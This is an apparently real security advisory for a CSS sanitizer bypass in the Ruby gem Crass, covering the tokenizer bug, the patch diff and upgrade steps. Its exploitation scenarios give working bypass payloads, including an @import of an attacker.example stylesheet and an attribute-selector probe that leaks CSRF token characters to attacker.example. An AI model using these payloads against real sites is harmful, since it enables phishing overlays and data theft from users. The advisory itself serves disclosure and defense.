CVE-2026-116695: CSS Sanitizer Bypass via Bad URL Tokenization Differential in Crass

Crass is a pure-Ruby CSS parser designed to implement the W3C CSS Syntax Module Level 3 specification. Within the Ruby ecosystem, Crass serves as the foundational CSS tokenization and abstract syntax tree (AST) generation engine for major HTML and CSS sanitization libraries, including Sanitize, Loofah, and rails-html-sanitizer. Web applications rely on these libraries to parse user-supplied HTML and inline or embedded CSS, strip unsafe properties or rules, and reserialize the safe AST back into the rendered document.

A parser differential classified under CWE-436 (Interpretation Conflict) exists in all versions of Crass prior to 1.0.8. The flaw resides in how Crass::Tokenizer processes the remnants of a malformed URL token (bad_url) as defined in Section 4.3.15 of the CSS Syntax Level 3 specification. Specifically, when encountering an escaped backslash sequence (\\) immediately followed by a closing parenthesis ()), Crass fails to recognize the parenthesis as the terminating delimiter of the bad_url token.

Instead of terminating the token, Crass continues consuming subsequent characters until it encounters a later unescaped closing parenthesis or reaches the end of the input stream. Modern browser rendering engines—including Blink, Gecko, and WebKit—strictly adhere to the W3C specification and terminate the bad_url token at the first closing parenthesis following \\. Everything following that parenthesis is therefore evaluated by the browser as active, top-level CSS.

When a sanitizer built on Crass processes a crafted CSS payload and reserializes the output without explicitly rejecting bad_url tokens, the swallowed declarations or rules pass through the filter uninspected. While this vulnerability does not permit direct JavaScript execution in modern browsers, it allows attackers to inject arbitrary CSS rules into sanitized contexts, leading to UI redress (clickjacking and phishing overlays), unauthorized external resource loading, and CSS-based data exfiltration.

According to the W3C CSS Syntax Module Level 3 specification (§4.3.15, "Consume the remnants of a bad url"), once a tokenizer transitions into the bad_url state due to invalid characters (such as unescaped quotes or whitespace within an unquoted url()), it must iteratively consume code points until the construct ends. The algorithm terminates when it encounters a U+0029 RIGHT PARENTHESIS ()) or EOF. If the input stream begins with a valid escape sequence (a backslash \ not followed by a newline), the tokenizer must consume the escaped code point so that an escaped closing parenthesis (\)) does not prematurely close the bad_url token.

In Crass::Tokenizer, the internal string scanner tracks the currently consumed character in @s.current and provides lookahead capability via @s.peek. Prior to version 1.0.8, the helper method valid_escape? could be called either with an explicit string argument or with no arguments. When invoked without arguments, valid_escape? inspected @s.current (the character consumed during the previous operation) combined with @s.peek (the next unconsumed character in the stream).

Within Crass::Tokenizer#consume_bad_url, the loop evaluated whether a valid escape was present at the beginning of each iteration using both forms of the check:

When the input stream inside a bad_url contained two consecutive backslashes followed by a closing parenthesis (\\)), the following sequence occurred:

1. During the first iteration, the two backslashes were waiting in the unconsumed lookahead buffer. The elsif valid_escape?(@s.peek(2)) branch matched \\, consumed the first backslash as the escape prefix, and invoked consume_escaped to consume the second backslash. At the end of this step, @s.current held the second \ character.
2. On the immediately following loop iteration, the next unconsumed character in the stream was ). The loop began by evaluating the primary if valid_escape? condition without arguments.
3. Because @s.current retained the stale \ from the previous iteration and @s.peek returned ), the no-argument valid_escape? check concatenated them into \) and returned true.
4. Crass then executed consume_escaped, consuming the closing parenthesis as part of an escape sequence rather than recognizing it as the bad_url delimiter.

Because the closing parenthesis was consumed as an escaped character, consume_bad_url remained active and absorbed all subsequent CSS declarations, selectors, or at-rules into the raw string value of the :bad_url token.

The vulnerability was resolved in commit 689fc45c632fdf3803b2f4e844ffc9cca3b08f34 by removing the reliance on the implicit, stateful @s.current pointer across the tokenizer. In lib/crass/tokenizer.rb, the consume_bad_url method was modified to eliminate the initial no-argument call to valid_escape?.

# File: lib/crass/tokenizer.rb
@@ -277,9 +277,7 @@ def consume_bad_url
       text = String.new
 
       until @s.eos?
-        if valid_escape?
-          text << consume_escaped
-        elsif valid_escape?(@s.peek(2))
+        if valid_escape?(@s.peek(2))
           @s.consume
           text << consume_escaped
         else

By removing the if valid_escape? branch in consume_bad_url, the tokenizer now exclusively checks the next two unconsumed code points via @s.peek(2) before consuming the escape prefix and the escaped character. When \\) is processed under the patched logic, the first iteration consumes both backslashes via @s.peek(2). On the next iteration, @s.peek(2) inspects ) and the character following it; since this does not start with a backslash, valid_escape?(@s.peek(2)) returns false, and the else branch consumes ) and properly terminates the bad_url token.

In addition to fixing consume_bad_url, the maintainer refactored all other call sites in lib/crass/tokenizer.rb that previously used no-argument state checks (valid_escape?, start_number?, and consume_string) to pass their character inputs explicitly:

# File: lib/crass/tokenizer.rb
@@ -132,7 +132,7 @@ def consume
       when :+
-        if start_number?
+        if start_number?(char + @s.peek(2))
           @s.reconsume
           consume_numeric
         else
@@ -196,7 +196,7 @@ def consume
       when :'\\'
-        if valid_escape?
+        if valid_escape?(char + @s.peek)
           @s.reconsume
           consume_ident
         else
@@ -567,7 +565,7 @@ def consume_url
         when '\\'
-          if valid_escape?
+          if valid_escape?(char + @s.peek)
             value << consume_escaped
           else

> [!NOTE] > While the other call sites in consume, consume_name, and consume_url were not vulnerable because they executed immediately after @s.consume assigned char to @s.current, refactoring them to pass char + @s.peek explicitly eliminates the risk of future stale-state bugs in the tokenizer.

To verify fix completeness and guard against variant edge cases in bad_url handling, the patch added test/test_tokenizer_bad_url.rb, which tests all permutations of up to 5 characters from the alphabet ['a', '"', '(', ')', '\\', "\n"] against a direct reference implementation of the W3C CSS Syntax Level 3 §4.3.15 specification algorithm.

Exploiting CVE-2026-116695 requires an application to accept untrusted CSS input, sanitize it using a library powered by Crass (such as Sanitize, Loofah, or rails-html-sanitizer), and render the serialized output back into a web page viewed by a user. To trigger the parser differential, the attacker must force the tokenizer into the bad_url state by placing an unescaped quote or whitespace after the initial characters of a url(...) token, followed by \\) and the smuggled CSS payload.

Scenario 1: Inline Style Declaration Smuggling

When an application permits inline style attributes on HTML elements and sanitizes them using Loofah::HTML5::Scrub.scrub_css, rails-html-sanitizer's sanitize_css, or Sanitize::CSS.properties, only specific properties (such as color or width) may be allowlisted. An attacker can smuggle restricted properties like position: fixed or background: url(...) inside an allowlisted property:

color:[url(x"\\)]; position:fixed; top:0; left:0; width:100vw; height:100vh; z-index:9999; background:red; x:[)];

When Crass parses this declaration list, url(x" transitions the tokenizer into consume_bad_url because of the unescaped quote after x. Crass fails to stop at the first ) after \\ and consumes ]; position:fixed; ... x:[ as part of the :bad_url token inside the color property value, terminating only at the final ). If the sanitizer does not reject the entire property value due to the presence of a :bad_url token or bracket block, it re-emits the string. The browser terminates the invalid color declaration at the first )]; and applies position:fixed; top:0; ... as active inline styles.

Scenario 2: Smuggling via Permitted CSS Functions

If a sanitizer strips bare url() tokens or brackets at the top level of a property value, the attacker can wrap the malformed URL inside an allowlisted CSS function such as calc(), var(), or rgb():

width:calc(url(x"\\)); position:fixed; top:0; left:0; x:))

Crass sees a single width property whose value is a calc(...) function call containing a :bad_url token. When rendered in a browser, the first ) closes the bad_url, the second ) closes calc(), the semicolon terminates the width declaration, and position:fixed is parsed as a separate declaration.

Scenario 3: Stylesheet Rule and @import Injection

In applications that sanitize full <style> elements or stylesheets using Sanitize::CSS.stylesheet, an attacker can smuggle entire style rules or @import directives inside a selector or property:

a url(x"\\){} @import url(https://attacker.example/exfil.css); b){color:red}

Crass parses this input as a single style rule whose selector is a url(x"\\){} @import url(https://attacker.example/exfil.css); b) and whose declaration block is {color:red}. Because Crass does not see an @import at-rule node in the AST, Sanitize::CSS does not block it. When the browser parses the sanitized stylesheet, it drops the malformed rule a url(x"\\){} and executes @import url(https://attacker.example/exfil.css);.

CVE-2026-116695 is rated Medium severity with a CVSS v4.0 base score of 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N). The vulnerability does not impact the confidentiality, integrity, or availability of the server-side Ruby process itself (VC:N/VI:N/VA:N). Instead, the impact manifests entirely within the downstream client browser environment (SC:L/SI:L/SA:N) when another user views a page containing the unsanitized CSS (UI:P).

In modern browsers, arbitrary CSS injection does not directly lead to cross-site scripting (XSS), as legacy browser features such as IE's expression() or Mozilla's -moz-binding have been removed. However, bypassing CSS sanitization enables three primary attack classes against application users:

1. UI Redress and Phishing Overlays (SI:L): By injecting position: fixed, z-index, and custom dimensions or pseudo-elements (::before / ::after), an attacker can overlay arbitrary visual elements over the entire viewport, hijack clicks (clickjacking), spoof login prompts, or obscure security warnings.
2. CSS-Based Data Exfiltration (SC:L): If an attacker can inject full style rules (either via <style> tag sanitization bypass or @import loading an external stylesheet), they can construct attribute selector side-channel probes. For example, rules such as input[name="authenticity_token"][value^="a"] { background: url(https://attacker.example/leak?char=a); } trigger outbound HTTP requests when matching DOM elements exist, allowing extraction of CSRF tokens, session identifiers, or private user data embedded in HTML attributes.
3. External Resource Loading and Tracking (SC:L): Injecting external url() references or @import rules forces victim browsers to make involuntary HTTP requests to attacker-controlled servers, leaking victim IP addresses, User-Agent headers, and Referer URLs.

Within the Ruby ecosystem, this vulnerability affects every version of crass from 0.0.1 through 1.0.7, directly impacting applications that sanitize user-supplied CSS through Sanitize (all versions through 7.0.0), Loofah (Loofah::HTML5::Scrub.scrub_css), and rails-html-sanitizer (sanitize_css and the Action View sanitize helper when style attributes are permitted).

The primary remediation is to upgrade the crass gem to version 1.0.8 or later, which corrects Crass::Tokenizer#consume_bad_url so that it terminates bad_url tokens in accordance with the W3C CSS Syntax Level 3 specification.

Upgrading Crass

Update your application's Gemfile to require at least version 1.0.8 of crass and update the dependency lockfile:

gem 'crass', '>= 1.0.8'

Run Bundler to apply the update and verify the resolved version in Gemfile.lock:

bundle update crass
bundle info crass

Because crass is frequently pulled in as a transitive dependency of loofah, rails-html-sanitizer, or sanitize, running bundle update crass updates the transitive dependency without requiring major version upgrades of the parent sanitizer gems.

Workarounds and Defense-in-Depth

For environments where upgrading crass cannot be performed immediately, the following mitigations reduce exposure:

1. Pre-Sanitization Input Filtering: Reject or strip any user-supplied CSS string containing an escaped backslash (\\) or a url( substring prior to passing the input to the sanitizer.
2. Sanitizer AST Inspection: If using a custom Crass AST walker, explicitly reject any property declaration or rule whose token stream contains a :bad_url node.
3. Content Security Policy (CSP): Deploy a strict Content-Security-Policy header that restricts style-src and limits img-src, font-src, and connect-src to trusted origins. Restricting external resource origins prevents CSS-based data exfiltration and blocks unauthorized @import stylesheet loads even if CSS sanitization is bypassed.